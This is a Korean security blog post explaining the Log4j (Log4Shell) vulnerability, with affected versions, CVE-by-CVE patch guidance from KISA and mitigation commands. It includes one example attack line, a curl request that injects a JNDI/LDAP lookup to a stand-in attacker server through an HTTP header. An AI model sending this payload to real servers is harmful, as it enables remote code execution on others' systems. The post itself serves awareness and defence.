사상 최악의 보안취약점, Log4j 취약점

안녕하세요, 보안클라우드입니다. 오늘 주제는 최근 이슈가 된 log4j 보안 취약점에 대해 이야기하려 합니다.

Log4j는 아파치 소프트웨어 재단에서 개발한 Java 기반의 로깅 라이브러리로 스프링, 스프링부트, 전자정부 표준프레임워크에 범용적으로 사용되고 있습니다. 프로그램을 작성하는 도중 로그를 남기기 위해 사용되는 라이브러리 Log4j에 어떤 취약점이 있는지 알아보겠습니다.

Log4j 취약점

아파치 Log4j

Log4j 취약점은 JNDI와 LDAP를 이용합니다. JNDI는 Java Naming and Directory Interface의 약자로 디렉터리 서비스에서 제공하는 데이터 및 객체를 발견(discover)하고 참고(lookup)하기 위한 자바 API입니다. JNDI는 디렉토리 서비스를 위해 다양한 인터페이스가 존재하는데 그 중 하나가 LDAP(Lightweight Directory Access Protocol)이며, 이번 취약점에 문제가 된 포인트입니다. LDAP은 분산 디렉터리 서비스에 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜로 LDAP과 JNDI 요청을 검사하지 않는 Log4j의 특징을 이용한 것으로 LDAP에서 리소스(자바 객체)를 찾을 수 있게 되었다는 것이 문제가 되었습니다.

예를 들어 로그를 남길 시 다음과 같이 로그를 기록한다고 하면

log.info("Request User Agent:{}", request.getHeader("User"));

해커가 악의적으로 HTTP header의 User 값을 조작하여 요청을 보내면 위와 같은 동작원리에 의해 해커의 공격이 전송되는 방식입니다.

curl 127.0.0.1:8080 -H 'User: ${jndi:ldap://attack-server}'

로그 메시지 원격 코드 실행(RCE)를 통한 쉬운 공격 방법으로 공격 시도가 가능한 Log4j(Log4Shell)은 취약점의 위험성을 나타내는 CVSS(Common Vulnerability Scoring System) 최고점인 10점을 부여받아 치명적인 취약점으로 분류 받았습니다.

Log4j에 영향을 받는 버전과 해결 방안은 무엇인지 알아보도록 하겠습니다.

Apache Log4j 보안 업데이트 권고(22.1.3)

출처 : KISA 한국인터넷진흥원(https://www.krcert.or.kr/data/secNoticeList.do)

CVE

취약한 버전

해결방안

CVE-

2021-4104

1.x 버전

※ JMSAppender를 사용하지 않는 경우 취약점 영향 없음

· Java 8 : Log4j 2.17.0 이상 버전으로 업데이트

· Java 7 : Log4j 2.12.3 이상 버전으로 업데이트

· Java 6 : Log4j 2.3.1 이상 버전으로 업데이트

o 신규 업데이트가 불가능할 경우 아래와 같이 조치 적용

※ log4j 1.x버전 사용자의 경우 추가적인 업그레이드 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높아 최신버전(2.x) 업데이트 적용 권고

CVE-

2021-44228

2.0-beta9 ~ 2.14.1 이하

※ 취약점이 해결된 버전 제외(Log4j 2.3.1, 2.12.2, 2.12.3 및 이후 업데이트 버전 제외)

· Java 8 이상 : Log4j 2.17.0 이상 버전으로 업데이트

· Java 7 : Log4j 2.12.3 이상 버전으로 업데이트

· Java 6 : Log4j 2.3.1 이상 버전으로 업데이트

※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음

o 신규 업데이트가 불가능할 경우 아래와 같이 조치 적용

· JndiLookup 클래스를 경로에서 제거

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

CVE-

2021-45046

2.0-beta9 ~ 2.15.0 버전

※ 취약점이 해결된 버전 제외(Log4j 2.3.1, 2.12.2, 2.12.3 및 이후 업데이트 버전 제외)

· Java 8 이상 : Log4j 2.17.0 이상 버전으로 업데이트

· Java 7 : Log4j 2.12.3 이상 버전으로 업데이트

· Java 6 : Log4j 2.3.1 이상 버전으로 업데이트

※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음

o 신규 업데이트가 불가능할 경우 아래와 같이 조치 적용

· JndiLookup 클래스를 경로에서 제거

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

CVE-

2021-45105

2.0-alpha1 ~ 2.16.0 버전

※ 취약점이 해결된 버전 제외(Log4j 2.3.1, 2.12.3 및 이후 업데이트 버전 제외)

· Java 8 이상 : Log4j 2.17.1 이상 버전으로 업데이트

· Java 7 : Log4j 2.12.4 이상 버전으로 업데이트

· Java 6 : Log4j 2.3.2 이상 버전으로 업데이트

※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음

o 신규 업데이트가 불가능할 경우 아래의 조치방안으로 조치 적용

· PatternLayout에서 ${ctx:loginId} 또는 $${ctx:loginId}를 (%X, %mdc, or %MDC)로 변경

· ${ctx:loginId} 또는 $${ctx:loginId}를 제거

CVE-

2021-44832

2.0-beta7 ~ 2.17.0 버전

※ 취약점이 해결된 버전 제외(Log4j 2.3.2, 2.12.4 및 이후 업데이트 버전 제외)

· Java 8 이상 : Log4j 2.17.1 이상 버전으로 업데이트

· Java 7 : Log4j 2.12.4 이상 버전으로 업데이트

· Java 6 : Log4j 2.3.2 이상 버전으로 업데이트

※ log4j-core-*.jar 파일 없이 log4j-api-*.jar 파일만 사용하는 경우 위 취약점의 영향을 받지 않음

개발 작업 시 로그를 남겨주는 오픈소스 유틸리티인 Log4j가 심각한 보안 취약점이 드러나면서 많은 IT 담당자분들이 여가시간을 포기하면서 불철주야 대응하였던 Log4j 보안 취약점에 대해 알아보았습니다. SW 개발 과정에서 복잡성이 증가하는 만큼 그에 따른 취약점도 늘고 있는데요, Log4j처럼 익숙하다는 이유로 오픈소스를 가져다 쓰는 일이 많은 개발 과정은 또다시 Log4j와 같은 사태를 초래할 수 있습니다. 같은 사태를 막기 위해서는 개발 과정에서부터 보안이 적용된 시큐어코딩의 생활화, 검증된 오픈소스를 사용하여 보안 취약점을 미연에 방지하여 튼튼한 SW 개발하는 것이 핵심으로 자리 잡을 거 같습니다.

지금까지 Log4j 보안 취약점에 대해 알아보았습니다. 그럼 다음에는 또 다른 주제로 찾아 뵙겠습니다.

  • 이전 django, Flask 웹 프레임워크와 SW 개발보안
  • 다음 제3의 동거인, 나는 해커와 함께산다. 월패드 해킹